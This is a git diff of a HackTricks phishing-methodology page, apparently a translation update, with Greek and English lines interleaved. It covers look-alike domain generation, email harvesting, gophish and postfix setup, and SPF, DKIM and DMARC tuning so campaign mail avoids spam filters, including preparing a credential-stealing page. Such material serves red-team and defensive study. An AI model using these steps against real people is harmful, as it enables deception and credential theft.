* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Ρίξτε μια ματιά στο [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (σύνδεση με Facebook και προσομοίωση WPA σε captive portals)
TODO: Ρίξτε μια ματιά στο [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στο [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για επικοινωνία με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Εισαγωγές Χάκερ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Ειδήσεις Χάκερ σε Πραγματικό Χρόνο**\
Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέα ανταμοιβή ευρημάτων και κρίσιμες ενημερώσεις πλατφόρμας
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετέχετε** 💬 στην **ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Μεθοδολογία Phishing
# Phishing Methodology
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Μεθοδολογία
## Methodology
1. Αναγνωρίστε το θύμα
1. Recon the victim
1. Επιλέξτε το **domain του θύματος**.
2. Εκτελέστε κάποια βασική απαρίθμηση ιστοσελίδων **ψάχνοντας για πύλες σύνδεσης** που χρησιμοποιεί το θύμα και **αποφασίστε** ποια θα **παριστάνετε**.
3. Χρησιμοποιήστε κάποιο **OSINT** για να **βρείτε emails**.
2. Προετοιμάστε το περιβάλλον
2. Εκτελέστε κάποια βασική διαδικτυακή καταμέτρηση **αναζητώντας πύλες σύνδεσης** που χρησιμοποιούνται από το θύμα και **αποφασίστε** ποια θα **παραστήσετε**.
3. Χρησιμοποιήστε κάποια **OSINT** για να **βρείτε emails**.
2. Prepare the environment
1. **Αγοράστε το domain** που θα χρησιμοποιήσετε για την αξιολόγηση phishing
2. **Διαμορφώστε τις εγγραφές** σχετικά με την υπηρεσία email (SPF, DMARC, DKIM, rDNS)
3. Διαμορφώστε το VPS με το **gophish**
3. Προετοιμάστε την εκστρατεία
1. Προετοιμάστε το **πρότυπο email**
2. Προετοιμάστε τη **σελίδα web** για την κλοπή διαπιστεύσεων
4. Ξεκινήστε την εκστρατεία!
2. **Ρυθμίστε την υπηρεσία email** σχετικές εγγραφές (SPF, DMARC, DKIM, rDNS)
3. Ρυθμίστε το VPS με **gophish**
3. Prepare the campaign
1. Ετοιμάστε το **πρότυπο email**
2. Ετοιμάστε την **ιστοσελίδα** για να κλέψετε τα διαπιστευτήρια
4. Εκκινήστε την καμπάνια!
## Δημιουργία παρόμοιων ονομάτων domain ή αγορά ενός αξιόπιστου domain
## Generate similar domain names or buy a trusted domain
### Τεχνικές Παραλλαγής Ονομάτων Domain
### Domain Name Variation Techniques
* **Λέξη-Κλειδί**: Το domain περιέχει ένα σημαντικό **λέξη-κλειδί** του αρχικού domain (π.χ., zelster.com-management.com).
* **Υπο-Διακεκομμένο**: Αλλάξτε το **τελεία με παύλα** ενός υπο-τομέα (π.χ., www-zelster.com).
* **Νέο TLD**: Ίδιο domain χρησιμοποιώντας ένα **νέο TLD** (π.χ., zelster.org)
* **Ομογλυφικό**: Αντικαθιστά μια γράμματος στο όνομα domain με γράμματα που μοιάζουν παρόμοια (π.χ., zelfser.com).
* **Αντιστροφή**: Ανταλλάσσει δύο γράμματα μέσα στο όνομα domain (π.χ., zelsetr.com).
* **Ενικός/Πληθυντικός**: Προσθέτει ή αφαιρεί το "s" στο τέλος του ονόματος domain (π.χ., zeltsers.com).
* **Παράλειψη**: Αφαιρεί ένα από τα γράμματα από το όνομα domain (π.χ., zelser.com).
* **Επανάληψη**: Επαναλαμβάνει ένα από τα γράμματα στο όνομα domain (π.χ., zeltsser.com).
* **Αντικατάσταση**: Όπως το ομογλυφικό αλλά λιγότερο αόρατο. Αντικαθιστά ένα από τα γράμματα στο όνομα domain, ίσως με ένα γράμμα κοντά στο αρχικό γράμμα στο πληκτρολόγιο (π.χ., zektser.com).
* **Υπο-Διακεκομμένο**: Εισάγει μια **τελεία** μέσα στο όνομα domain (π.χ., ze.lster.com).
* **Εισαγωγή**: Εισάγει ένα γράμμα στο όνομα domain (π.χ., zerltser.com).
* **Λείπουσα τελεία**: Προσθέτει το TLD στο όνομα domain. (π.χ., zelstercom.com)
* **Keyword**: Το domain name **περιέχει** μια σημαντική **λέξη-κλειδί** του αρχικού domain (π.χ., zelster.com-management.com).
* **hypened subdomain**: Αλλάξτε την **τελεία σε παύλα** ενός υποτομέα (π.χ., www-zelster.com).
* **New TLD**: Ίδιο domain χρησιμοποιώντας ένα **νέο TLD** (π.χ., zelster.org)
* **Homoglyph**: **Αντικαθιστά** ένα γράμμα στο domain name με **γράμματα που μοιάζουν** (π.χ., zelfser.com).
* **Transposition:** **Ανταλλάσσει δύο γράμματα** μέσα στο domain name (π.χ., zelsetr.com).
* **Singularization/Pluralization**: Προσθέτει ή αφαιρεί “s” στο τέλος του domain name (π.χ., zeltsers.com).
* **Omission**: **Αφαιρεί ένα** από τα γράμματα του domain name (π.χ., zelser.com).
* **Repetition:** **Επαναλαμβάνει ένα** από τα γράμματα στο domain name (π.χ., zeltsser.com).
* **Replacement**: Όπως το homoglyph αλλά λιγότερο διακριτικό. Αντικαθιστά ένα από τα γράμματα στο domain name, ίσως με ένα γράμμα κοντά στο αρχικό γράμμα στο πληκτρολόγιο (π.χ., zektser.com).
* **Subdomained**: Εισάγετε μια **τελεία** μέσα στο domain name (π.χ., ze.lster.com).
* **Insertion**: **Εισάγει ένα γράμμα** στο domain name (π.χ., zerltser.com).
* **Missing dot**: Προσθέστε το TLD στο domain name. (π.χ., zelstercom.com)
**Αυτόματα Εργαλεία**
**Automatic Tools**
* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**Ιστοσελίδες**
**Websites**
* [https://dnstwist.it/](https://dnstwist.it)
* [https://dnstwister.report/](https://dnstwister.report)
@ -59,25 +60,25 @@
### Bitflipping
Υπάρχει η **πιθανότητα** ένα από μερικά bits που αποθηκεύονται ή μεταδίδονται να αναστραφεί αυτόματα λόγω διάφορων παραγόντων όπως ηλιακές εκλάμψεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Υπάρχει μια **πιθανότητα ότι ένα από τα bits που αποθηκεύονται ή σε επικοινωνία μπορεί να αλλάξει αυτόματα** λόγω διαφόρων παραγόντων όπως ηλιακές εκρήξεις, κοσμικές ακτίνες ή σφάλματα υλικού.
Όταν αυτό το **συγκεκριμένο έννοια εφαρμόζεται σε αιτήσεις DNS**, είναι δυνατόν το **domain που λαμβάνεται από τον DNS server** να μην είναι το ίδιο με το domain που ζητήθηκε αρχικά.
Όταν αυτή η έννοια είναι **εφαρμοσμένη σε DNS αιτήματα**, είναι πιθανό ότι το **domain που λαμβάνεται από τον DNS server** δεν είναι το ίδιο με το domain που ζητήθηκε αρχικά.
Για παράδειγμα, μια μετατροπή ενός μόνο bit στο domain "windows.com" μπορεί να το μετατρέψει σε "windnws.com."
Για παράδειγμα, μια μόνο τροποποίηση bit στο domain "windows.com" μπορεί να το αλλάξει σε "windnws.com."
Οι επιτιθέμενοι μπορεί **να εκμεταλλευτούν αυτό καταχωρώντας πολλά domains με αναστροφή bit** που είναι παρόμοια με το domain του θύματος. Η πρόθεσή τους είναι να ανακατευθύνουν τους νόμιμους χρήστες στη δική τους υποδομή.
Οι επιτιθέμενοι μπορεί να **εκμεταλλευτούν αυτό καταχωρώντας πολλαπλά domains bit-flipping** που είναι παρόμοια με το domain του θύματος. Η πρόθεσή τους είναι να ανακατευθύνουν τους νόμιμους χρήστες στην υποδομή τους.
Για περισσότερες πληροφορίες διαβάστε [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Αγορά ενός αξιόπιστου domain
### Buy a trusted domain
Μπορείτε να αναζητήσετε στο [https://www.expireddomains.net/](https://www.expireddomains.net) για ένα ληγμένο domain που θα μπορούσατε να χρησιμοποιήσετε.\
Για να βεβαιωθείτε ότι το ληγμένο domain που πρόκειται να αγοράσετε **έχει ήδη καλό SEO** μπορείτε να ελέγξετε πώς κατηγοριοποιείται στα:
Για να βεβαιωθείτε ότι το ληγμένο domain που πρόκειται να αγοράσετε **έχει ήδη καλή SEO** μπορείτε να ελέγξετε πώς είναι κατηγοριοποιημένο σε:
* [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
* [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Ανακάλυψη Emails
## Discovering Emails
* [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% δωρεάν)
* [https://phonebook.cz/](https://phonebook.cz) (100% δωρεάν)
@ -85,25 +86,25 @@
* [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com)
Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή να **επιβεβαιώσετε αυτές** που έχετε ήδη ανακαλύψει μπορείτε να ελέγξετε αν μπορείτε να τις επιτεθείτε με brute-force στους smtp servers του θύματος. [Μάθετε πώς να επιβεβαιώσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Επιπλέον, μην ξεχνάτε ότι αν οι χρήστες χρησιμοποιούν **κάποια web πύλη για να έχουν πρόσβαση στα emails τους**, μπορείτε να ελέγξετε αν είναι ευάλωτη σε **brute force του ονόματος χρήστη**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατόν.
Για να **ανακαλύψετε περισσότερες** έγκυρες διευθύνσεις email ή **να επιβεβαιώσετε αυτές που έχετε ήδη ανακαλύψει** μπορείτε να ελέγξετε αν μπορείτε να κάνετε brute-force στους smtp servers του θύματος. [Μάθετε πώς να επιβεβαιώσετε/ανακαλύψετε διεύθυνση email εδώ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
Επιπλέον, μην ξεχνάτε ότι αν οι χρήστες χρησιμοποιούν **οποιαδήποτε διαδικτυακή πύλη για να αποκτήσουν πρόσβαση στα emails τους**, μπορείτε να ελέγξετε αν είναι ευάλωτη σε **brute force username**, και να εκμεταλλευτείτε την ευπάθεια αν είναι δυνατόν.
## Διαμόρφωση του GoPhish
## Configuring GoPhish
### Εγκατάσταση
### Installation
Μπορείτε να το κατεβάσετε από [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Κατεβάστε και αποσυμπιέστε το μέσα στο `/opt/gophish` και εκτελέστε το `/opt/gophish/gophish`\
Θα σας δοθεί ένας κωδικός πρόσβασης για τον διαχειριστή στη θύρα 3333 στην έξοδο. Συνεπώς, μεταβείτε σε αυτήν τη θύρα και χρησιμοποιήστε αυτές τις διαπιστεύσεις γι
Θα σας δοθεί ένας κωδικός για τον χρήστη διαχειριστή στην πόρτα 3333 στην έξοδο. Επομένως, αποκτήστε πρόσβαση σε αυτήν την πόρτα και χρησιμοποιήστε αυτά τα διαπιστευτήρια για να αλλάξετε τον κωδικό διαχειριστή. Μπορεί να χρειαστεί να στήσετε αυτήν την πόρτα σε τοπικό:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
### Διαμόρφωση
### Configuration
**Διαμόρφωση πιστοποιητικού TLS**
Πριν από αυτό το βήμα πρέπει **ήδη να έχετε αγοράσει το domain** που θα χρησιμοποιήσετε και πρέπει να **δείχνει** προς τη **IP του VPS** όπου διαμορφώνετε το **gophish**.
Πριν από αυτό το βήμα θα πρέπει να έχετε **αγοράσει ήδη το domain** που πρόκειται να χρησιμοποιήσετε και πρέπει να **δείχνει** στη **διεύθυνση IP του VPS** όπου διαμορφώνετε το **gophish**.
```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
@ -119,34 +120,34 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
```
**Διαμόρφωση email**
**Ρύθμιση αλληλογραφίας**
Ξεκινήστε την εγκατάσταση: `apt-get install postfix`
Αρχίστε την εγκατάσταση: `apt-get install postfix`
Στη συνέχεια προσθέστε το domain στα ακόλουθα αρχεία:
Στη συνέχεια, προσθέστε το domain στα παρακάτω αρχεία:
* **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp**
**Αλλάξτε επίσης τις τιμές των ακόλουθων μεταβλητών μέσα στο /etc/postfix/main.cf**
**Αλλάξτε επίσης τις τιμές των παρακάτω μεταβλητών μέσα στο /etc/postfix/main.cf**
`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`
Τέλος τροποποιήστε τα αρχεία **`/etc/hostname`** και **`/etc/mailname`** με το όνομα του domain σας και **επανεκκινήστε το VPS σας.**
Τέλος, τροποποιήστε τα αρχεία **`/etc/hostname`** και **`/etc/mailname`** με το όνομα του domain σας και **επανεκκινήστε το VPS σας.**
Τώρα, δημιουργήστε ένα **DNS A record** του `mail.<domain>` που να δείχνει στη **διεύθυνση ip** του VPS και ένα **DNS MX** record που να δείχνει στο `mail.<domain>`
Τώρα, δημιουργήστε μια **DNS A record** του `mail.<domain>` που να δείχνει στη **διεύθυνση ip** του VPS και μια **DNS MX** record που να δείχνει στο `mail.<domain>`
Τώρα ας δοκιμάσουμε να στείλουμε ένα email:
```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```
**Διαμόρφωση του Gophish**
**Διαμόρφωση Gophish**
Σταματήστε την εκτέλεση του gophish και ας το διαμορφώσουμε.\
Τροποποιήστε το `/opt/gophish/config.json` στο ακόλουθο (σημειώστε τη χρήση του https):
Τροποποιήστε το `/opt/gophish/config.json` ως εξής (σημειώστε τη χρήση του https):
```bash
{
"admin_server": {
@ -173,7 +174,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e
```
**Διαμόρφωση υπηρεσίας gophish**
Για να δημιουργήσετε την υπηρεσία gophish έτσι ώστε να μπορεί να ξεκινά αυτόματα και να διαχειρίζεται ως υπηρεσία, μπορείτε να δημιουργήσετε το αρχείο `/etc/init.d/gophish` με το παρακάτω περιεχόμενο:
Για να δημιουργήσετε την υπηρεσία gophish ώστε να μπορεί να ξεκινά αυτόματα και να διαχειρίζεται ως υπηρεσία, μπορείτε να δημιουργήσετε το αρχείο `/etc/init.d/gophish` με το παρακάτω περιεχόμενο:
```bash
#!/bin/bash
# /etc/init.d/gophish
@ -220,7 +221,7 @@ case $1 in
start|stop|status) "$1" ;;
esac
```
Ολοκληρώστε τη ρύθμιση της υπηρεσίας και ελέγξτε την εκτελώντας:
Ολοκληρώστε τη διαμόρφωση της υπηρεσίας και ελέγξτε την κάνοντας:
```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
@ -231,60 +232,60 @@ service gophish status
ss -l | grep "3333\|443"
service gophish stop
```
## Ρύθμιση διακομιστή αλληλογραφίας και domain
## Ρύθμιση διακομιστή αλληλογραφίας και τομέα
### Αναμονή & να είστε νόμιμοι
### Περίμενε & να είσαι νόμιμος
Όσο πιο παλιό είναι ένα domain, τόσο λιγότερο πιθανό είναι να πιαστεί ως ανεπιθύμητη αλληλογραφία. Συνεπώς, θα πρέπει να περιμένετε όσο το δυνατόν περισσότερο χρόνο (τουλάχιστον 1 εβδομάδα) πριν από την αξιολόγηση phishing. Επιπλέον, αν δημιουργήσετε μια σελίδα σχετική με έναν τομέα με καλή φήμη, η φήμη που θα αποκτήσετε θα είναι καλύτερη.
Όσο παλαιότερος είναι ένας τομέας, τόσο λιγότερο πιθανό είναι να πιαστεί ως spam. Έτσι, θα πρέπει να περιμένετε όσο το δυνατόν περισσότερο (τουλάχιστον 1 εβδομάδα) πριν από την αξιολόγηση phishing. Επιπλέον, αν δημιουργήσετε μια σελίδα σχετικά με έναν τομέα φήμης, η φήμη που θα αποκτηθεί θα είναι καλύτερη.
Σημειώστε ότι ακόμα κι αν πρέπει να περιμένετε μια εβδομάδα, μπορείτε να ολοκληρώσετε τη ρύθμιση όλων των στοιχείων τώρα.
Σημειώστε ότι ακόμη και αν πρέπει να περιμένετε μια εβδομάδα, μπορείτε να ολοκληρώσετε τη ρύθμιση όλων τώρα.
### Ρύθμιση αντίστροφης εγγραφής DNS (rDNS)
### Ρύθμιση εγγραφής Αντίστροφης DNS (rDNS)
Ορίστε μια αντίστροφη εγγραφή DNS (PTR) που αντιστοιχεί τη διεύθυνση IP του VPS στο όνομα domain.
Ορίστε μια εγγραφή rDNS (PTR) που επιλύει τη διεύθυνση IP του VPS στο όνομα τομέα.
### Εγγραφή πλαισίου πολιτικής αποστολέα (SPF)
### Εγγραφή Πολιτικής Αποστολέα (SPF)
Πρέπει **να ρυθμίσετε μια εγγραφή SPF για το νέο domain**. Αν δεν ξέρετε τι είναι μια εγγραφή SPF, [**διαβάστε αυτήν τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#spf).
Πρέπει να **ρυθμίσετε μια εγγραφή SPF για τον νέο τομέα**. Αν δεν ξέρετε τι είναι μια εγγραφή SPF [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#spf).
Μπορείτε να χρησιμοποιήσετε το [https://www.spfwizard.net/](https://www.spfwizard.net) για να δημιουργήσετε την πολιτική SPF σας (χρησιμοποιήστε τη διεύθυνση IP της μηχανής VPS)
Μπορείτε να χρησιμοποιήσετε [https://www.spfwizard.net/](https://www.spfwizard.net) για να δημιουργήσετε την πολιτική SPF σας (χρησιμοποιήστε τη διεύθυνση IP της μηχανής VPS)
![](<../../.gitbook/assets/image (388).png>)
![](<../../.gitbook/assets/image (1037).png>)
Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT μέσα στο domain:
Αυτό είναι το περιεχόμενο που πρέπει να οριστεί μέσα σε μια εγγραφή TXT στον τομέα:
```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```
### Εγγραφή Ελέγχου, Αναφοράς και Συμμόρφωσης Μηνυμάτων Βασισμένη στο Domain (DMARC)
### Domain-based Message Authentication, Reporting & Conformance (DMARC) Record
Πρέπει **να διαμορφώσετε μια εγγραφή DMARC για το νέο domain**. Αν δεν γνωρίζετε τι είναι μια εγγραφή DMARC, [**διαβάστε αυτήν τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Πρέπει να **ρυθμίσετε ένα DMARC record για το νέο domain**. Αν δεν ξέρετε τι είναι ένα DMARC record [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dmarc).
Πρέπει να δημιουργήσετε μια νέα εγγραφή DNS TXT που να δείχνει στο όνομα κεντρικού υπολογιστή `_dmarc.<domain>` με τον παρακάτω περιεχόμενο:
Πρέπει να δημιουργήσετε ένα νέο DNS TXT record που να δείχνει το hostname `_dmarc.<domain>` με το εξής περιεχόμενο:
```bash
v=DMARC1; p=none
```
### DomainKeys Identified Mail (DKIM)
Πρέπει **να διαμορφώσετε ένα DKIM για το νέο domain**. Αν δεν ξέρετε τι είναι ένα DMARC record [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dkim).
Πρέπει να **ρυθμίσετε ένα DKIM για το νέο τομέα**. Αν δεν ξέρετε τι είναι ένα DMARC record [**διαβάστε αυτή τη σελίδα**](../../network-services-pentesting/pentesting-smtp/#dkim).
Αυτό το εγχειρίδιο βασίζεται στο: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
Αυτό το tutorial βασίζεται σε: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
{% hint style="info" %}
Πρέπει να συνενώσετε και τις δύο τιμές B64 που δημιουργεί το κλειδί DKIM:
Πρέπει να συνδυάσετε και τις δύο τιμές B64 που παράγει το DKIM key:
```
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
```
{% endhint %}
### Δοκιμάστε το σκορ ρύθμισης του email σας
### Δοκιμάστε το σκορ διαμόρφωσης email σας
Μπορείτε να το κάνετε χρησιμοποιώντας [https://www.mail-tester.com/](https://www.mail-tester.com)\
Μπορείτε να το κάνετε αυτό χρησιμοποιώντας [https://www.mail-tester.com/](https://www.mail-tester.com)\
Απλά επισκεφθείτε τη σελίδα και στείλτε ένα email στη διεύθυνση που σας δίνουν:
```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```
Μπορείτε επίσης **να ελέγξετε τη διαμόρφωση του email σας** στέλνοντας ένα email στο `check-auth@verifier.port25.com` και **διαβάζοντας την απάντηση** (για αυτό θα πρέπει **να ανοίξετε** τη θύρα **25** και να δείτε την απάντηση στο αρχείο _/var/mail/root_ αν στείλετε το email ως root).\
Βεβαιωθείτε ότι περνάτε όλα τα τεστ:
Μπορείτε επίσης να **ελέγξετε τη διαμόρφωση του email σας** στέλνοντας ένα email στο `check-auth@verifier.port25.com` και **διαβάζοντας την απάντηση** (για αυτό θα χρειαστεί να **ανοίξετε** την πόρτα **25** και να δείτε την απάντηση στο αρχείο _/var/mail/root_ αν στείλετε το email ως root).\
Ελέγξτε ότι περνάτε όλους τους ελέγχους:
```bash
==========================================================
Summary of Results
@ -295,40 +296,40 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Μπορείτε επίσης να στείλετε **μήνυμα σε ένα Gmail υπό τον έλεγχό σας**, και να ελέγξετε τα **headers του email** στο inbox του Gmail σας, το `dkim=pass` πρέπει να υπάρχει στο πεδίο header `Authentication-Results`.
Μπορείτε επίσης να στείλετε **μήνυμα σε ένα Gmail υπό τον έλεγχό σας** και να ελέγξετε τα **κεφαλίδες του email** στο Gmail inbox σας, το `dkim=pass` θα πρέπει να είναι παρόν στο πεδίο κεφαλίδας `Authentication-Results`.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```
### Αφαίρεση από τη Μαύρη Λίστα του Spamhouse
### Αφαίρεση από τη Μαύρη Λίστα του Spamhouse
Η σελίδα [www.mail-tester.com](www.mail-tester.com) μπορεί να σας ενημερώσει εάν το domain σας έχει μπει στη μαύρη λίστα του spamhouse. Μπορείτε να ζητήσετε την αφαίρεση του domain/IP σας στο: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
Η σελίδα [www.mail-tester.com](https://www.mail-tester.com) μπορεί να σας υποδείξει αν το domain σας μπλοκάρεται από το spamhouse. Μπορείτε να ζητήσετε την αφαίρεση του domain/IP σας στο: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Αφαίρεση από τη Μαύρη Λίστα της Microsoft
